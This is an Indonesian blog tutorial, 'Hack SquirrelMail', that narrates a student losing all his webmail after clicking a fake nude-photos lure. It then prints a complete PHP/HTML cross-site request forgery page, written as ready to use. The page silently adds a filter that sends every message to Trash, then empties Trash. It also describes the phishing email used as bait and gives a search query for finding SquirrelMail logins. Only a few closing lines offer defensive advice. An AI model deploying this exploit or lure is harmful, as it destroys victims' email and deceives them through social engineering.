Hack SquirrelMail


  • SPYRO KiD
  • admin[~@t~]spyrozone[~d.t~]net
  • Tuesday, January 19th, 2010
  • CopyLEFT (c) 2011++ www.spyrozone.net All Rights Reserved


Kampus Arnold menggunakan Squirrelmail sebagai layanan email berbasis web untuk para mahasiswa. Suatu ketika Arnold menerima sebuah email dari orang tidak dikenal. Begitu melihat subjectnya, Arnold langsung tertarik untuk membukanya. Subject email tersebut memang cukup mengejutkan Arnold: Your N4k3d Ph0t0s on the internet.

{Image: Email dari Orang tak dikenal}

Email dari Orang tak dikenal

Segera saja Arnold membuka email tersebut. Terdapat sebuah pesan disana bahwa si pengirim menemukan foto-foto bugil Arnold tersebar di Internet.

{Image: Foto Bugil Arnold ^^}

Foto Bugil Arnold ^^

Didorong rasa penasaran, Arnold langsung mengunjungi URL yang disertakan oleh si pengirim. Sebuah halaman dengan latar belakang merah muncul.

{Image: Hot Images Gallery}

Hot Images Gallery

Arnold langsung melakukan klik pada satu-satunya menu untuk masuk pada web tersebut. Namun web tersebut tidak memberikan respon apa-apa. Merasa ditipu, Arnold kembali ke emailnya bermaksud untuk membalas email si pengirim. Namun betapa terkejutnya Arnold ketika tiba-tiba saja seluruh email di Inbox Arnold lenyap. Begitu pula Trash folder, seluruh email-email penting Arnold hilang secara misterius.

{Image: Seluruh email terhapus secara misterius}

Seluruh email terhapus secara misterius

Apa yang sebenarnya terjadi?
Bagaimana misteri hilangnya seluruh email-email Arnold dalam waktu singkat?

Sekilas tentang Squirrelmail

Squirrelmail banyak digunakan oleh kampus dan perusahaan sebagai fasilitas email pribadi berbasis web. Selain gratis, instalasi yang mudah, Squirrelmail dilengkapi dengan dokumentasi yang cukup lengkap sehingga memudahkan Administrator untuk menyediakan layanan sesuai dengan kebutuhan client. Layanan-layanan hosting yang ada saat ini hampir seluruhnya secara default menyertakan Squirrelmail dalam paket hostingnya.

Coba saja Anda Googling para pengguna Squirrelmail dengan keyword berikut:

http://google.com/search?q=allinurl:/src/login.php

Jika dilihat dari hasil pencarian search engine, memang hanya sedikit yang ter-crawling Google. Rata-rata memang tersembunyi dibalik cPanel atau sengaja disembunyikan dari mesin pencari dengan menggunakan robots.txt. Beberapa situs juga menggunakan invalid SSL sehingga menyulitkan mesin pencari untuk merambahnya.

Bagaimana attacker melakukannya?

Apa yang terjadi pada Arnold disebut sebagai serangan CSRF (Cross Site Request Forgery). Serangan ini memang unik, berbeda dengan jenis serangan lain yang tergantung pada “kekuatan” Attacker dan “kelemahan” targetnya. CSRF justru memanfaatkan kekuatan dari user itu sendiri.

Ah, Anda sendiri pasti sudah sangat sering mendengar CSRF. Namun untuk membantu pendatang baru memahami serangan ini, saya akan mencoba menjelaskan kembali :)

CSRF bisa diibaratkan seperti jebakan pemburu di dunia nyata. Pemburu tidak usah susah-susah mengejar binatang buruannya, namun cukup memasang jebakan sambil menunggu hasilnya. Tapi di sisi lain, pemburu harus tau perilaku binatang buruannya, apa saja yang disukai binatang buruannya, dan dimana binatang tersebuat biasa melintas.

Nah, dalam Hacking juga demikian. Untuk melakukan CSRF, Attacker harus tau aplikasi web apa yang digunakan target dan bagaimana strukturnya. Dalam kasus Arnold, Attacker tidak dapat menghapus inbox Arnold karena tidak mengetahui password Arnold. Logikanya, untuk dapat menghapus isi Inbox seseorang, Anda harus login dulu dengan menggunakan accountnya bukan? Daripada susah-sudah berusaha mendapatkan password Arnold, Attacker merencanakan serangan CSRF.

1. Menyiapkan Jebakan

Attacker membuat suatu halaman web jebakan yang mengirimkan request secara background terhadap Squirrelmail untuk menghapus isi inbox user yang mengakses halaman tersebut. Berikut adalah script yang digunakan oleh Attacker:

squirrelhack.php

<?PHP
//--------------------------------------
// Author : SPYRO KiD
// Web    : http://spyrozone.net
// Mail   : root/at/spyrozone.net
//--------------------------------------
$squirrelpath="https://target.com/webmail/"; //Path to src/login.php
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><head><title>HOT IMAGES GALLERY</title>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
<script type="text/javascript">
var i=0;
function iframe_loaded() {
if(i>1){
	if(document.getElementById("yiframe").src==""){
		src="<?PHP echo $squirrelpath; ?>src/webmail.php";
		document.getElementById("yiframe").src = src;
	}else if(src=="<?PHP echo $squirrelpath; ?>src/webmail.php"){
		src="<?PHP echo $squirrelpath; ?>src/empty_trash.php";
		document.getElementById("yiframe").src = src;
	}else if(src=="<?PHP echo $squirrelpath; ?>src/empty_trash.php"){
		src="<?PHP echo $squirrelpath; ?>src/webmail.php";
		document.getElementById("yiframe").src = src;
	}
}i++;
}
</script>
</head>
<body bgcolor="#FF0000"><div align="center"><table border="0" width="100%" cellspacing="0" cellpadding="0" height="100%"><tr><td align="center">
<form action="<?PHP echo $squirrelpath; ?>plugins/filters/options.php" method="post" target="xiframe">
<input type="hidden" name="filter_where" value="From"><input type="hidden" name="filter_what" value="@">
<input type="hidden" name="filter_folder" value="INBOX.Trash"><input type="hidden" name="theid" value="0" />
<font face="Arial Black" size="6" color="#FFFF00">HOT IMAGES GALLERY</font><br>
<input type="image" name="filter_submit" value="Submit" src="http://spyrozone.net/hot-images-gallery/button_enter.gif"/>
<p><font color="#FFFFFF"><font face="Courier New" style="font-size: 9pt">Copyright (c) 2010++ </font>
<font face="Courier New"><span style="font-size: 9pt">&nbsp;http://spyrozone.net<br>All Rights Reserved</span></font></font></p>
</form></td></tr></table></div>
<iframe name="xiframe" onload="iframe_loaded();" marginwidth="0" marginheight="0" scrolling="no" border="0" frameborder="0" width="0" height="0"></iframe>
<iframe id="yiframe" onload="iframe_loaded();" marginwidth="0" marginheight="0" scrolling="no" border="0" frameborder="0" width="0" height="0"></iframe>
</body></html>

Cara kerja dari script diatas adalah:

  1. Begitu tombol enter di klik, sebuah request dikirim secara background kepada squirrelmail untuk membuat filter pada email user. Filter yang dilakukan adalah, memindahkan seluruh email yang terdapat karakter @ pada FROM kedalam folder Trash. Pada alamat email sudah pasti terdapat karakter @ bukan?
  2. Script tersebut melakukan refresh pada webmail agar filter terbaca. Dalam tahap ini, seluruh email dipindahkan ke dalam folder Trash.
  3. Sebuah request untuk mengosongkan Trash dikirimkan secara background kepada Squirrelmail. Dan lenyaplah seluruh email target.

Atacker meletakkan file .php tersebut di dalam suatu directory yang memiliki nama “menarik” untuk meyakinkan Arnold: http://spyrozone.net/hot-images-gallery

2. Social Engineering
Attacker mengirimkan sebuah email berisi kata-kata menarik untuk memancing Arnold agar membuka URL jebakan tadi. Berikut adalah email yang dikirimkan oleh Attacker:

{Image: Email pancingan}

Email Pancingan

Selesailah sudah :) Arnold membka email yang dikirimkan oleh Attacker dan mengunjungi URL jebakan. Script tersebut bekerja secara background, dan dalam waktu singkat, musnahlah seluruh email Arnold.

Apakah Anda pengguna squirrelmail? Hmm.. memang banyak celah CSRF pada squirrelmail. Pemanfaatan celah tersebut bisa bermacam-macam, tergantung kreatifitas Attacker. Mulai dari menghapus email satu-per satu, menghapus semuanya sekaligus seperti pada tutorial ini, membuat folder secara background, mengubah profil Anda, dan masih banyak lagi.

Gunakan browser yang aman dengan plugin security. Jangan mengakses link-link yang tidak Anda kenali dalam keadaan login. Dan yang pasti, selalu waspada!

Sekian, semoga bermanfaat :)


//E.O.F